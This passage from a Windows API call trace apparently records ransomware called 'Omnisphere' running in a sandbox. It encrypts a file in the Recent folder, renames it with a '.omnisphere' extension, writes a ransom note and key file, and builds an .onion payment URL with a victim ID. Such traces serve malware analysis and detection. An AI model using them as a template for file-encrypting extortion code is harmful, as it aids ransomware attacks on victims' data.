pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.926] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.927] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.927] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.927] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.927] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.927] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0126.927] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3a9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.927] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.927] GetProcessHeap () returned 0x1600000 [0126.927] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16eb318 [0126.927] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qfmbt1v.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qfmbt1v.lnk.omnisphere")) returned 1 [0126.928] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk.omnisphere.id" [0126.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qfmbt1v.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.928] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.929] CloseHandle (hObject=0x3c0) returned 1 [0126.930] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.930] CloseHandle (hObject=0x288) returned 1 [0126.930] SetEndOfFile (hFile=0x28c) returned 1 [0126.930] FlushFileBuffers (hFile=0x28c) returned 1 [0126.933] CloseHandle (hObject=0x28c) returned 1 [0126.933] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qfMBt1v.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.933] GetProcessHeap () returned 0x1600000 [0126.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0126.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.933] GetProcessHeap () returned 0x1600000 [0126.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5b90 [0126.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5b90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.933] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.933] GetProcessHeap () returned 0x1600000 [0126.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7f08 [0126.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7f08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.933] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.933] GetProcessHeap () returned 0x1600000 [0126.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8fa0 [0126.934] PathCombineW (in: pszDest=0x16d8fa0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.934] GetProcessHeap () returned 0x1600000 [0126.934] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e26f0 [0126.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.934] WriteFile (in: hFile=0x28c, lpBuffer=0x16e26f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e26f0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.934] CloseHandle (hObject=0x28c) returned 1 [0126.934] GetProcessHeap () returned 0x1600000 [0126.934] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0126.934] GetProcessHeap () returned 0x1600000 [0126.934] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.934] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.934] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.935] CloseHandle (hObject=0x28c) returned 1 [0126.935] GetProcessHeap () returned 0x1600000 [0126.935] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.935] GetProcessHeap () returned 0x1600000 [0126.935] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b768 | out: hHeap=0x1600000) returned 1 [0126.935] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22b62fa5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22b62fa5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22b62fa5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="QqgN-Lz9.lnk", cAlternateFileName="")) returned 1 [0126.935] GetProcessHeap () returned 0x1600000 [0126.935] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656c10 [0126.935] PathCombineW (in: pszDest=0x1656c10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="QqgN-Lz9.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk" [0126.935] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.935] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QqgN-Lz9.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qqgn-lz9.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.935] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=638) returned 1 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.935] GetTickCount () returned 0x115fac7 [0126.936] GetTickCount () returned 0x115fac7 [0126.936] GetTickCount () returned 0x115fac7 [0126.936] GetTickCount () returned 0x115fac7 [0126.936] GetTickCount () returned 0x115fac7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.936] GetTickCount () returned 0x115fad7 [0126.937] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668f88) returned 1 [0126.937] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0126.937] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.937] CryptDestroyKey (hKey=0x16396a8) returned 1 [0126.937] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0126.937] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27e, lpName=0x0) returned 0x288 [0126.937] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27e) returned 0x1480000 [0126.938] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668d68) returned 1 [0126.938] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.938] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.938] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.939] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.940] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 